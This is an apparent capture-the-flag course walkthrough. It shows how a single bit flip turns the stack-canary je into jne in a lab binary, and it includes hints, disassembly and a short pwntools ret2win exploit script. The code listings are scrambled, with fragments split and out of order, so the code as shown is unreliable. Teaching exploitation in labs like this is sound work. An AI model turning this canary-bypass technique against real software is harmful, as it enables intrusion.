Table of Contents

IronForgeCyber

Courses

Resources

Blog

Log In



IronForgeCyber

AboutPrivacyTerms

© 2026 IronForgeCyber. All rights reserved.

  1. courses
  2. binex-stack-exploits
  3. www-challenge-02
6 min read

Challenge 2

Welcome to Challenge 2, where we're much more limited on the data we can input and are forced to think very critically on what we need to do.

Stuck? Open one hint at a time before reading the solution.

Hint 1
You can only flip one bit. What other input does the program take? Look at how the review is read, and at what protects that function.
Hint 2
One bit is too little for a GOT overwrite or a new call. But related instructions sit next to each other in the opcode table: compare je (0x74) with jne (0x75).
Hint 3
Find the conditional jump in the canary check. If it went the other way, what would happen when you overflow the review?
Hint 4
Flip the bit that turns that je into jne, then it's a standard ret2win. Check how the program numbers bits: from 0, in standard order.

Identifying the Vulnerability

Instead of allowing us to change an entire long of data, we're now only allowed to change one bit!

www-challenge-02
$ ./challWelcome to Dr. Doofenshmirtz's brand new Memory-Write-Inator!Provide an address in memory and it'll change it for you:

This eliminates the idea of changing an entire instruction. However, we notice this binary offers the opportunity to "leave a review". Let's check this code:

nasm
10x00401696 lea rax, [rip + 0xab3]                |     rax = "Please rate your experience with the Memory-Write-Inator today:";
2

The code is reading input with scanf, which is vulnerable to buffer overflow. However, this code has a canary:

$ checksec chall[*] './chall'    Arch:       amd64-64-little    RELRO:      Full RELRO    Stack:      Canary found    NX:         NX enabled    PIE:        No PIE (0x400000)    Stripped:   No

Write-Where?

Solely given one bit to change, there isn't much we can do. We can't do a GOT Overwrite since we don't have enough bits. We can't change a call instruction to call elsewhere because we can't write enough.

Our solution comes with an understanding of the Opcode table. Similar instructions are adjacent on the Opcode table to make lookup easier for developers to find necessary instructions and their related counterparts. The most important example here are the Jump statements:

OpcodeInstructionArgumentDefinition
72JBrel16/32Jump near if below/not above or equal/carry (CF=1)
73JNBrel16/32Jump near if not below/above or equal/not carry (CF=0)
74JZ/JErel16/32Jump near if zero/equal (ZF=1)
75JNZ/JNErel16/32Jump near if not zero/not equal (ZF=0)
76JBE/JNArel16/32Jump near if below or equal/not above (CF=1 OR ZF=1)
77JArel16/32Jump near if not below or equal/above (CF=0 AND ZF=0)
78JSrel16/32Jump near if sign (SF=1)
79JNSrel16/32Jump near if not sign (SF=0)
7AJPrel16/32Jump near if parity/parity even (PF=1)
7BJNPrel16/32Jump near if not parity/parity odd (PF=0)
7CJL/JNGErel16/32Jump near if less/not greater (SF!=OF)
7DJGE/JNLrel16/32Jump near if not less/greater or equal (SF=OF)
7EJNG/JLErel16/32Jump near if less or equal/not greater ((ZF=1) OR (SF!=OF))
7FJG/JNLErel16/32Jump near if not less nor equal/greater ((ZF=0) AND (SF=OF))

All of these instructions are one bit away from their respective counterpart. Therefore, by flipping a bit inside one of these instructions, we can flip how it operates!

In this case, we argued we have a buffer overflow with a canary. Therefore, by flipping the instruction of je to a jne, we can change the canary to jump away from the __stack_chk_fail@plt instruction only if there is a buffer overflow.

nasm
10x0000000000401597 <+164>:   48 8b 55 f8                     mov    rdx,QWORD PTR [rbp-0x8]
20x000000000040159b <

Therefore, we'll elect to write at 0x4015a4. The opcode is the first byte of the instruction so we need no offset.

Write-What?

We must decide what bit to flip. We can quickly convert hex to binary:

nasm
0x74 = 0111 0100

If we want this to be JNE, we simply ensure that we turn this to 0x75. This can be done flipping the last bit:

nasm
0111 0101 = 0x75

Once we flip the bit, we have a standard ret2win. The padding is 0x38 bytes following the address of win.

Writing an Exploit

We realistically don't need Pwntools, but we'll use it for the ease of the buffer overflow.

Let's look at how the binary expects the input.

  1. First, we need the address of where we write. This is either main + 177 or 0x4015a4.
  2. Then, we need the bit to flip. It orders the bits in standard order starting from zero. This makes 7 the last bit (the bit of interest).
  3. Last, we need the buffer overflow.

We can sum this all up with this payload:

exploit.py
1from pwn import *
2
3elf = context.binary = ELF("./chall")
4p = process()

This gives us a flag!

exploit.py
$ python3 exploit.py[+] Starting local process './chall': pid 113636[*] Switching to interactive modeWelcome to Dr. Doofenshmirtz's brand new Memory-Write-Inator!Provide an address in memory and it'll change it for you:Good choice! You chose:|0|1|2|3|4|5|6|7|-----------------|0|1|1|1|0|1|0|0|The Memory-Write-Inator will now change its value for you.Choose a bit to flip:Please rate your experience with the Memory-Write-Inator today:IFC{PL4C3H0LD3R_FL4G_H3R3!}
0x0040169d
mov
rdi
,
rax
|
rdi
=
rax
;
30x004016a0 call 0x401100 | puts (rdi);
40x004016a5 lea rax, [rbp - 0x30] | rax = rbp - 0x30;
50x004016a9 mov rsi, rax | rsi = rax;
60x004016ac lea rax, [rip + 0xadd] | rax = "%s[^\n]";
70x004016b3 mov rdi, rax | rdi = rax;
80x004016b6 mov eax, 0 | eax = 0;
90x004016bb call 0x4011b0 | isoc99_scanf (rdi, rsi);
+
168
>
:
64
48
2b
14
25
28
00
00
00
sub
rdx
,QWORD PTR
fs
:
0x28
30x00000000004015a4 <+177>: 74 05 je 0x4015ab <main+184>
40x00000000004015a6 <+179>: e8 a5 fa ff ff call 0x401050 <__stack_chk_fail@plt>
50x00000000004015ab <+184>: c9 leave
60x00000000004015ac <+185>: c3 ret
5
6p.sendline(hex(elf.sym.main + 177).encode())
7p.sendline(b"7")
8
9payload = b"A" * 0x38
10payload += p64(elf.sym.win)
11
12p.sendline(payload)
13p.interactive()